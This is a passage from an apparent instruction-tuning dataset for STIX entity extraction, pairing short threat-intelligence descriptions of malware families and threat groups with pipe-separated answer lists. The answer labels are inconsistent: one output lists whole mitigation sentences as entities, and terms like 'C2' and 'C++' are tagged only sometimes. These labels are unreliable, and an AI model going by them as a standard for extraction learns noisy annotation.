individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n",
    "output": "<entities>xCaon|IndigoZebra|BoxCaon|Central Asia|Kyrgyzstan|Uzbekistan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDiavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker.  The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.\n",
    "output": "<entities>Diavol|Bazar|Wizard Spider</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOSX/Shlayer can masquerade as a Flash Player update.\n",
    "output": "<entities>Flash Player|OSX/Shlayer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSome Orz strings are base64 encoded, such as the embedded DLL known as MockDll.\n",
    "output": "<entities>MockDll|Orz</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKeydnap uses a copy of tor2web proxy for HTTPS communications.\n",
    "output": "<entities>Keydnap|tor2web proxy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZeroT is a Trojan used by TA459, often in conjunction with PlugX. \n",
    "output": "<entities>ZeroT|PlugX|TA459</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHyperBro is a custom in-memory backdoor used by Threat Group-3390.\n",
    "output": "<entities>HyperBro|Threat Group-3390</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.\n",
    "output": "<entities>Neoichor|Ke3chang|Leeson|Numbldea|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLokibot has obfuscated strings with base64 encoding.\n",
    "output": "<entities>Lokibot</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMivast has the capability to gather NTLM password information.\n",
    "output": "<entities>Mivast</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations.  It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.\n",
    "output": "<entities>ThreatNeedle|Lazarus Group|Manuscrypt|NukeSped</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. \n",
    "output": "<entities>CHOPSTICK|APT28|Windows|Linux</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBADCALL is a Trojan malware variant used by the group Lazarus Group. \n",
    "output": "<entities>BADCALL|Lazarus Group</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nProton uses macOS' .command file type to script actions.\n",
    "output": "<entities>Proton|macOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBLINDINGCAN has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".\n",
    "output": "<entities>BLINDINGCAN|iconcache.db</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n",
    "output": "<entities>TrickBot|Dyre|Wizard Spider|C++|North America|Australia|Europe|big game hunting</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEnterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Evade Analysis Environment exist that can enable adversaries to bypass vetting.\n",
    "output": "<entities>Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors.|Enterprises can inspect applications themselves or use a third-party service.|Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues|In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAPT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.\n",
    "output": "<entities>APT30|SHIPSHAPE|Autorun</entities>"
  },
  {
